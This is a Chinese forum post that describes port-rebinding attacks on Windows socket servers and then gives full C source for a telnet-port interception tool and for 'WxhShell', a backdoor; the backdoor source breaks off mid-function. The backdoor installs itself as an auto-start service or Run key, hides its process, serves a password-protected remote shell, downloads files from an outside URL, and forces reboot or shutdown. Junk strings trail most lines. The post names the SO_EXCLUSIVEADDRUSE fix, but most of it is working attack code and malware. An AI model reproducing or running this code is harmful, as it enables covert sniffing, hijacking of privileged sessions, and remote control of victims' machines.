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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #S9J9k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O6/ vFEB  
q\?p' i  
  saddr.sin_family = AF_INET; ~IW{^u  
p%meuWV%5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G3:!]}  
OFtf)cGE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8Yk*$RR9  
U!-Nx9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E\DA3lq  
:0B 7lDw  
  这意味着什么?意味着可以进行如下的攻击: NjZ~b/  
^wWbW&<Tg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O=+$X Pa|  
yIn$ApSGY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ? -:2f#bC  
11"r FZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q 0F6MAXj  
fWq*Op.]c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  AvrvBz[  
.e0)@}Jv8>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bKmwXDv'  
{aUTTEu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S=-$:65  
uU3A,-{-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 siI%6Gn;  
`WXlq#:K  
  #include h-1?c\Qq:  
  #include +Mijio  
  #include ou-UR5  
  #include    l90"1I A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :!g|pd[{ag  
  int main() v =y 2  
  { R`c[ ?U  
  WORD wVersionRequested; DNq(\@x[!  
  DWORD ret; s*la`(x  
  WSADATA wsaData; u*Xp%vNe  
  BOOL val; e^\e;>Dh>  
  SOCKADDR_IN saddr; Gqd|F>  
  SOCKADDR_IN scaddr; l~;>KjZg  
  int err; \t=0rFV)t  
  SOCKET s; Godrz*"  
  SOCKET sc; :sg}e  
  int caddsize; e1-tpD:J  
  HANDLE mt; HuTtp|zM>  
  DWORD tid;   LE<J<~2Z  
  wVersionRequested = MAKEWORD( 2, 2 ); HQ-+ +;Q  
  err = WSAStartup( wVersionRequested, &wsaData ); ~>(~2083*;  
  if ( err != 0 ) { +`GtZnt#  
  printf("error!WSAStartup failed!\n"); ,9bnR;f\  
  return -1;  <EU R:  
  } kd^H}k  
  saddr.sin_family = AF_INET; B ktRA  
   A/<u>cCW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]7Vg9&1`  
;9OhK71}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); edo)W mn  
  saddr.sin_port = htons(23); x ']'ODs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *KvD$(ny  
  { c$ZV vu  
  printf("error!socket failed!\n"); e9[72V  
  return -1; d)vP9vXy  
  } ;9k>; g3m  
  val = TRUE; 9(TGkz(NA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IANSpWea?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o0C&ol_  
  { 1]G)41  
  printf("error!setsockopt failed!\n"); q_.fVn:!  
  return -1; d:';s~  
  } m@Yc&M~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \i_E}Ii0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .^{%hc*w4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 WChP,hw  
hNN[djR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /dYv@OU?  
  { p@G7}'|eyA  
  ret=GetLastError(); DD$> 3`  
  printf("error!bind failed!\n"); W\kli';jyC  
  return -1; G@H!D[wd  
  } "9s_[e  
  listen(s,2); A0)^I:&  
  while(1) f zo'9  
  { h) Wp  
  caddsize = sizeof(scaddr); (*$bTI/~  
  //接受连接请求 jCJcVO>OZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r+FEgSDa]  
  if(sc!=INVALID_SOCKET) Gc|)4c  
  { \A[l(aB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kCTf>sJe  
  if(mt==NULL) E7A!,A&>  
  { m]2xOR_  
  printf("Thread Creat Failed!\n"); {=[>N>"  
  break; e NIzI]~  
  } z l r !   
  } k3#'g'>yh  
  CloseHandle(mt); >-A@6Qe_  
  } f(5(V %  
  closesocket(s); ^OY]Y+S`Ox  
  WSACleanup(); +%W8Juu  
  return 0; 4qie&:4j  
  }   F]3Y,{/V  
  DWORD WINAPI ClientThread(LPVOID lpParam) s7Agr!>f  
  { BNK]Os  
  SOCKET ss = (SOCKET)lpParam; nzflUR{`-  
  SOCKET sc; h+g\tYWGP  
  unsigned char buf[4096]; #Lhv=0op  
  SOCKADDR_IN saddr; G|g^yaq>  
  long num; -x//@8"   
  DWORD val; /WTEz\k  
  DWORD ret; O]u'7nO{{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f4f2xe7\Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S!b18|o"  
  saddr.sin_family = AF_INET; ~18a&T:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WBE>0L  
  saddr.sin_port = htons(23); Z4VFfGCTL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \~5|~|9<  
  { q7X]kr*qx  
  printf("error!socket failed!\n"); !&VfOx:PN  
  return -1; 8?+|4:#=*J  
  } ]Btkoad  
  val = 100; *HKw;I   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3 ~v 17  
  { B?VTIq>  
  ret = GetLastError(); /\8I l+0  
  return -1; T`EV uRJ  
  } *|A QV:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +"?+Be  
  { o <q*3L5  
  ret = GetLastError(); V"4Z9Qg}  
  return -1; E8# >k  
  } j!u)V1,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) USBQEt  
  { VPUVPq~&  
  printf("error!socket connect failed!\n"); "}]$ag!`q$  
  closesocket(sc); &~,4$& _  
  closesocket(ss); =01X  
  return -1; p-[WpY3  
  } )j_El ]?  
  while(1) M5^Y W#e  
  { t2N W$ -E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &3Zq1o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  js_`L#t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3'4+3Xo  
  num = recv(ss,buf,4096,0); @tH9$J*Y<  
  if(num>0) =hPXLCeC  
  send(sc,buf,num,0); 0xB2  
  else if(num==0) Qz~uD'Rs/  
  break; isZ5s\  
  num = recv(sc,buf,4096,0); "D(Lp*3hj&  
  if(num>0) .hl_zc#  
  send(ss,buf,num,0); jm^.E\_  
  else if(num==0) JVE\{ e)  
  break; & LE5' .s  
  } " 9Gn/-V>  
  closesocket(ss); <S@jf4  
  closesocket(sc); :?t~|7O:  
  return 0 ; O`5,L[i1y  
  } Gt`7i(  
?{ir$M  
}s}g}t8v-  
========================================================== <)VgGjZ-H  
Q.mJ7T~T  
下边附上一个代码,,WXhSHELL f O*jCl  
tb3V qFx  
========================================================== y0* rY  
d!,t_jM0  
#include "stdafx.h" PMzPj,  
nr!N%Hi  
#include <stdio.h> g52a vG  
#include <string.h> ^#/FkEt7bp  
#include <windows.h> %MHb  
#include <winsock2.h> v4P"|vZ$&  
#include <winsvc.h> #.Rn6|V/4  
#include <urlmon.h> XjX  
l:85 _E  
#pragma comment (lib, "Ws2_32.lib") /(N/DMl[  
#pragma comment (lib, "urlmon.lib") V>{< pS  
t[^$F,  
#define MAX_USER   100 // 最大客户端连接数 )Z}AhX  
#define BUF_SOCK   200 // sock buffer %ByPwu:f  
#define KEY_BUFF   255 // 输入 buffer ~4~`bT9  
n>M`wF>  
#define REBOOT     0   // 重启 .w2ID  
#define SHUTDOWN   1   // 关机 h!EA;2yGKa  
tq3Wga!5  
#define DEF_PORT   5000 // 监听端口 FcDS*ZEk!  
4.RQ3SoDa  
#define REG_LEN     16   // 注册表键长度 ',+yD9 @  
#define SVC_LEN     80   // NT服务名长度 BrV{X&>[i  
kx"1 0Vw  
// 从dll定义API &.?XntI9O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FfoOJzf~o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gAqK)@8-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?e7]U*jEU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *ukyQZ9  
6  63o  
// wxhshell配置信息 %oZ:Awx  
struct WSCFG { #+ I'V\ [  
  int ws_port;         // 监听端口 kxn&f(5  
  char ws_passstr[REG_LEN]; // 口令 {28|LwmL  
  int ws_autoins;       // 安装标记, 1=yes 0=no zG!nqSDG  
  char ws_regname[REG_LEN]; // 注册表键名 _VtQMg|u  
  char ws_svcname[REG_LEN]; // 服务名 {zdMmpQF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *H>rvE.K?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u;#]eUk9}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !rvEo =^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9"[;ld<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v9*m0|T0M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @-N` W9  
e[S`Dm"i)'  
}; 0#q=-M/?`  
}f}.>B0#  
// default Wxhshell configuration x%{]'z  
struct WSCFG wscfg={DEF_PORT, B /? L$m  
    "xuhuanlingzhe", ?pDr"XH~  
    1, ?6#won  
    "Wxhshell", c0!.ei  
    "Wxhshell", IK~&`n](>  
            "WxhShell Service", [6/ QUD8  
    "Wrsky Windows CmdShell Service", 0XHQ 5+"8  
    "Please Input Your Password: ", M6Fo.eeK3  
  1, Q?{%c[s  
  "http://www.wrsky.com/wxhshell.exe", XYE|=Tr]  
  "Wxhshell.exe" P]E-Wp'p  
    }; j0jl$^  
6 SSDc/  
// 消息定义模块 \l%xuT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AOf4y&B>q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6*OL.~WE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NkE0S`Xf  
char *msg_ws_ext="\n\rExit."; ~(5r+Z}*`  
char *msg_ws_end="\n\rQuit."; k9|5TLXq?  
char *msg_ws_boot="\n\rReboot..."; 0D X_ *f  
char *msg_ws_poff="\n\rShutdown..."; .6B\fr.za  
char *msg_ws_down="\n\rSave to "; t^t% >9o  
DSGcxM+  
char *msg_ws_err="\n\rErr!"; )G? qX.D  
char *msg_ws_ok="\n\rOK!"; d_RgKdR )k  
JTlk[ c  
char ExeFile[MAX_PATH]; IgT`on3Y  
int nUser = 0; >ZA=9v  
HANDLE handles[MAX_USER]; bp1AN9~  
int OsIsNt; ab0 Sx  
+/:tap|V  
SERVICE_STATUS       serviceStatus; enoj4g7em^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i;[y!U  
a QH6akH  
// 函数声明 gr=h!'m  
int Install(void); Fe+ @;  
int Uninstall(void); M[uWX=  
int DownloadFile(char *sURL, SOCKET wsh); z\YIwrq3*  
int Boot(int flag); x3@-E  
void HideProc(void); oFY!NMq}:  
int GetOsVer(void); ON?Y Df  
int Wxhshell(SOCKET wsl); ;"3B,Yj  
void TalkWithClient(void *cs); jYsAL=oh,*  
int CmdShell(SOCKET sock); D}-.<  
int StartFromService(void); XQ}Zr/f6  
int StartWxhshell(LPSTR lpCmdLine); Fsx?(?tCMo  
|(7}0]BP0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xQy,1f3s+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~j0rORy]  
'J|2c;M\x  
// 数据结构和表定义 B.z$0=b  
SERVICE_TABLE_ENTRY DispatchTable[] = %+7]/_JO&  
{ @KG0QHyiU  
{wscfg.ws_svcname, NTServiceMain}, >}5?`.K~Q*  
{NULL, NULL} s -i|P  
}; 0mw1CUx9K  
yPyu)  
// 自我安装 NnZW@ln"|  
int Install(void) Bd>~F7VWs  
{ @Mk`Tl  
  char svExeFile[MAX_PATH]; >r.]a`  
  HKEY key; Bqx5N"  
  strcpy(svExeFile,ExeFile); GQ_KYS{  
}d$-:l ,w  
// 如果是win9x系统,修改注册表设为自启动 L`NIYH<^  
if(!OsIsNt) { JAbUK[:K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BD g]M/{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VYyija:  
  RegCloseKey(key); W,q @ww u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nHK(3Z4G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lQA5HzC\  
  RegCloseKey(key); 50UdY9E_v}  
  return 0; 9&Y@g)+2  
    } @Z)|_  
  } \l+v,ELX=  
} $ /VQsb  
else {  %Bq~b$  
UA[`{rf  
// 如果是NT以上系统,安装为系统服务 DM.lQ0xk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r8k(L{W  
if (schSCManager!=0) f^c+M~\JKj  
{ qsj{0Go  
  SC_HANDLE schService = CreateService {C1crp>q  
  ( A~ya{^}  
  schSCManager, sXKkZ+2q  
  wscfg.ws_svcname, k.T=&0J_1  
  wscfg.ws_svcdisp, LZ*8YNp1'  
  SERVICE_ALL_ACCESS, > mGH4{H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8\"<t/_ W  
  SERVICE_AUTO_START, ZbnAAbfKH  
  SERVICE_ERROR_NORMAL, f%Q)_F[0D4  
  svExeFile, gGqrFh\  
  NULL, p|UL<M9{a]  
  NULL, 6r7>nU&d  
  NULL, H`EhsYYK  
  NULL, gY}In+S  
  NULL gesbt  
  );  :Mx  
  if (schService!=0) _0/unJl`  
  { Dc9uq5l  
  CloseServiceHandle(schService); %&ejO= r  
  CloseServiceHandle(schSCManager); cx}Yu8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nD wh  
  strcat(svExeFile,wscfg.ws_svcname); "CJVtO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j50vPV8m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ik G&  
  RegCloseKey(key); 5'%I4@Qn+  
  return 0; K`*GZ+b|`  
    } ^@fD{]I  
  } ,0l Od<  
  CloseServiceHandle(schSCManager); U,<m%C"  
} %Ymi,o>  
} HB07 n4 |  
"bg'@:4F  
return 1; s}&bJ"!Z  
} RIM`omM  
"yz iXT@V  
// 自我卸载 d &cU*  
int Uninstall(void) SQsSa1  
{ %,@vWmn  
  HKEY key; R`Aj|C z  
wCs3:@UH  
if(!OsIsNt) { 7z6 b@$,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ A1uhHP!  
  RegDeleteValue(key,wscfg.ws_regname); k@>\LR/v  
  RegCloseKey(key); yDb'7(3-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >e5 *prx+  
  RegDeleteValue(key,wscfg.ws_regname); !U_ K&f  
  RegCloseKey(key); - N>MBn  
  return 0; $$i. O}  
  } .o%^'m"=D[  
} 7x]4`#u  
} Sydh2d  
else { (%CZ*L[9Z  
S,fCV~Cio?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F1;lQA*7K.  
if (schSCManager!=0) 3T\l]? z  
{ fjo{av~]y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {C`GW}s{4  
  if (schService!=0) 3OyS8`  
  { LL^q1)o  
  if(DeleteService(schService)!=0) { ymY1o$qWB}  
  CloseServiceHandle(schService); 5OIc(YhYf  
  CloseServiceHandle(schSCManager); K)7zKEp`cj  
  return 0; 75!9FqMZ}  
  } .Hhhi  
  CloseServiceHandle(schService); 1L7{p>;-dO  
  } }*]B-\>  
  CloseServiceHandle(schSCManager); v1U?&C  
} )/ Ud^wi  
} Rx07trfN  
=*BIB5  
return 1; { kSf{>Ia  
} rjt8fN  
Mvj;ic6iK  
// 从指定url下载文件 H?1xjY9sl  
int DownloadFile(char *sURL, SOCKET wsh) <mA'X V,  
{ 5cr(S~Q;  
  HRESULT hr; &hHW3Q(1  
char seps[]= "/"; 4rK{-jvh>m  
char *token; D(W,yq~7uY  
char *file; `Ycf]2.,$  
char myURL[MAX_PATH]; R9We/FhOY  
char myFILE[MAX_PATH]; p1pQU={<  
u*S=[dq  
strcpy(myURL,sURL); qIUfPA=/_  
  token=strtok(myURL,seps); %A1@&xrbl  
  while(token!=NULL) R;whW:Tx  
  { gieN9S  
    file=token; Z0!5d<  
  token=strtok(NULL,seps); L(S'6z~_9  
  } z2gk[zY&  
Zv]x'3J#Y  
GetCurrentDirectory(MAX_PATH,myFILE); yfQ5:X  
strcat(myFILE, "\\"); z@|dzvjl Q  
strcat(myFILE, file); 'z@0  
  send(wsh,myFILE,strlen(myFILE),0); Kr'f-{  
send(wsh,"...",3,0); c'6g*%2k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'XQ`g CF=  
  if(hr==S_OK) in <(g@Zg  
return 0; $\o {_?}1  
else DDT_kK;  
return 1; xp'_%n~K@  
NvE}eA#  
} FLal}80.o:  
 ~fl@ 2  
// 系统电源模块 sKz`aqI  
int Boot(int flag) ,&PE6h n  
{ VLsxdwHgb  
  HANDLE hToken; C,V%B  
  TOKEN_PRIVILEGES tkp; bUV >^d  
,)+ o  
  if(OsIsNt) { Jk|Q`h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A61^[Y,dX_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M j-vgn&/  
    tkp.PrivilegeCount = 1; ?SQE5Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *,C(\!b !?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7 J^rv9i4  
if(flag==REBOOT) {  mvW%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w&$d* E  
  return 0; Tm^89I]L  
} y4Z &@,_{  
else { $CTSnlPq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *b *G2f^  
  return 0; 682Z}"I0  
} eg<bi@C1|  
  } m p<1yY]  
  else { &wd;EGGT!q  
if(flag==REBOOT) { "q}FPJ^l_N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -m'j]1  
  return 0; i"zuil  
} jdKOb  
else { I jr\5FA[p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !g~1&Uw1  
  return 0; 5Dp#u  
} ^ &E}r{?  
} kp?w2+rz  
1XG!$ 4DW  
return 1; o)6pA^+  
} #ywk|k5z]  
sAo& uZ  
// win9x进程隐藏模块 W)'*m-I  
void HideProc(void) MUOa@O,  
{ bQe^Px5 !.  
4p;aS$Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4v p  
  if ( hKernel != NULL ) kP#e((f,  
  { A,su;Q h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i'd2[A.7I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KKA~#iCk  
    FreeLibrary(hKernel); |r ue=QZ  
  } {NpM.;  
AE: Z+rM*  
return; r|4t aV&  
} ^@P1 JNe  
I8oo~2Q w  
// 获取操作系统版本 a`Gx=8  
int GetOsVer(void) 8eA+d5k\.  
{ Vz14j_  
  OSVERSIONINFO winfo; >+. ( r]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [{4 MR%--  
  GetVersionEx(&winfo); U$oduY#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \ w3]5gJZ  
  return 1; C]^H&  
  else Li*eGlId  
  return 0; [dtbkQt,c  
} HM>lg`S  
 u66XN^  
// 客户端句柄模块 Z*G(5SqUh"  
int Wxhshell(SOCKET wsl) W\1i,ew>  
{ f%5zBYCgC  
  SOCKET wsh; [c_|ob]  
  struct sockaddr_in client; E{6~oZ#L  
  DWORD myID; (}.@b|s  
Y*_)h\f  
  while(nUser<MAX_USER) <2C7<7{7  
{ A!1;}x  
  int nSize=sizeof(client); |t$Ma'P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !4]9!<.k  
  if(wsh==INVALID_SOCKET) return 1; kyR*D1N&)  
jYNrD"n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); </uO e.l>Q  
if(handles[nUser]==0) >-&R47G  
  closesocket(wsh); E .1J2Ne  
else MX@IHc  
  nUser++; >#ZUfm{k$  
  } TAjh"JJIV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h|X^dQb]  
fs/*V~@  
  return 0; VDTcR  
} KfF!{g f  
lRh9j l  
// 关闭 socket Uye|9/w8 !  
void CloseIt(SOCKET wsh) W0I#\b18  
{ Bc3:}+l  
closesocket(wsh); 9Fn\FYUq  
nUser--; ! 8`3GX:B_  
ExitThread(0); SkU9ON   
} ">?vir^  
~  T>U  
// 客户端请求句柄 @{Gncy|  
void TalkWithClient(void *cs) E 7-@&=]v  
{ Ov<NsNX]  
\9-"M;R.d  
  SOCKET wsh=(SOCKET)cs; G:g69=x y  
  char pwd[SVC_LEN]; O|_h_I-2  
  char cmd[KEY_BUFF]; C]Q8:6b  
char chr[1]; ^*fQX1h<  
int i,j; "`N-*;*W  
\W,I?Kx$  
  while (nUser < MAX_USER) { 36US5ef  
^n0]dizB  
if(wscfg.ws_passstr) { /dnCwFXf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ON+J>$[[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jt+iv*2N>  
  //ZeroMemory(pwd,KEY_BUFF); )>BHL3@  
      i=0; hMtf.3S7c  
  while(i<SVC_LEN) { s+>:,U<A  
n]he-NHP  
  // 设置超时 #m={yck *  
  fd_set FdRead; T0]MuIJ).  
  struct timeval TimeOut; _V`DWR *  
  FD_ZERO(&FdRead); k{t`|BnPKB  
  FD_SET(wsh,&FdRead); I}R0q  
  TimeOut.tv_sec=8; P;4w*((} ~  
  TimeOut.tv_usec=0; w&ak"GgV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [=~pe|8:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o6$4/I  
sH\5/'?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o.I6ulY8  
  pwd=chr[0]; l&?ii68/  
  if(chr[0]==0xd || chr[0]==0xa) { )=Jk@yj8x  
  pwd=0; hpU2  
  break; 2;w*oop,O  
  } 5h;+Ky!I  
  i++; ~Jf{4*>y  
    } k1Q ?'<`  
j&k6O1_  
  // 如果是非法用户,关闭 socket 0Fu~%~#E$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4>J   
} y+7PwBo%e  
'(/7[tJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y r,=.?C-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {s;U~!3aY  
E lUEteZ  
while(1) { 6uR^%W8]  
}NB}"%2  
  ZeroMemory(cmd,KEY_BUFF); B$Kn1 k  
"yW:\   
      // 自动支持客户端 telnet标准   7%sdtunf`  
  j=0; 08*v~(T  
  while(j<KEY_BUFF) { -IV]U*4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ++E3]X|  
  cmd[j]=chr[0]; Z@r.pRr'  
  if(chr[0]==0xa || chr[0]==0xd) { 6^DR0sO  
  cmd[j]=0; m4*@o?Ow  
  break; #KO,~]k5|e  
  } 2it?$8#i  
  j++; 3 h<,  
    } ]kboG%Dl?9  
RD.V'`n"  
  // 下载文件 I|Gp$ uq _  
  if(strstr(cmd,"http://")) { Rn@# d}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A~mum+[5  
  if(DownloadFile(cmd,wsh)) 7 x<i :x3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jRatm.N  
  else LW(6$hpPp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !kC* g  
  } k!{p7*0  
  else { $kQ~d8 O  
0x!2ihf  
    switch(cmd[0]) { G%Lt.?m[  
  N;[>,0&z  
  // 帮助 '}9JCJ  
  case '?': { >]c*'~G&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SCTA=l.  
    break; YX#-nyK  
  } I"`M@ %  
  // 安装 9VbOQ{8  
  case 'i': { /Ju;MeE9  
    if(Install()) zLJ/5&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h?pkE  
    else D:K4H+ch  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nWHa.H#  
    break; =lpQnj"  
    } @K!&qw  
  // 卸载 Y3=_ec3w  
  case 'r': { JwXT%op9RP  
    if(Uninstall()) `[n(" 7,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % $DI^yS  
    else Y &K;l_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B2O}1.  
    break; plZ>03(6Q  
    } CJ++?hB]X  
  // 显示 wxhshell 所在路径 n\Lb.}]1~  
  case 'p': { l\n@cQR  
    char svExeFile[MAX_PATH]; kTvd+TP4  
    strcpy(svExeFile,"\n\r"); 9 '2_  
      strcat(svExeFile,ExeFile); ERN>don2  
        send(wsh,svExeFile,strlen(svExeFile),0); wT{nu[=GH*  
    break; c?@T1h4  
    } OiP!vn}k  
  // 重启 n-@j5w+k4  
  case 'b': { u#@Q:tnN_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q?ix$nKOv  
    if(Boot(REBOOT)) NhYLt w^u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q6r7.pk"SU  
    else { pn^ d]rou?  
    closesocket(wsh); rX1QMR7?  
    ExitThread(0); J^g!++|2P  
    } |.3DD"*  
    break; S)/_muP  
    } to$h2#i_  
  // 关机 a.zpp'cEb  
  case 'd': { \~_9G{2?  
